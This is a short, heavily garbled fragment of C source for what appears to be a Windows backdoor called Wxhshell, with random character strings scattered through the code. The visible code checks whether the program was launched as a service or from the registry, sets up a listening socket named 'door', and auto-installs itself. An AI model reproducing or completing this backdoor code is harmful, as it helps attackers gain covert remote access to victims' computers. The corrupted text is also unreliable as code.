;I<Qa if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h_ 4*?w _ VuWo CloseHandle(hProcess); CPy>sV3Ru0 9~W]D!m, if(strstr(procName,"services")) return 1; // 以服务启动 L/rf5||@ P{A})t7 return 0; // 注册表启动 :L@;.s } i+O7," (@ 'l5 // 主模块 x$-kw{N int StartWxhshell(LPSTR lpCmdLine) Cl&mz1Y;]1 { ,1~zYL?
SOCKET wsl; d?X,od6 BOOL val=TRUE; fr(Ja; int port=0; X?t;uZI^ struct sockaddr_in door; $(D>v!dp 0~U%csPHt if(wscfg.ws_autoins) Install(); =?C < |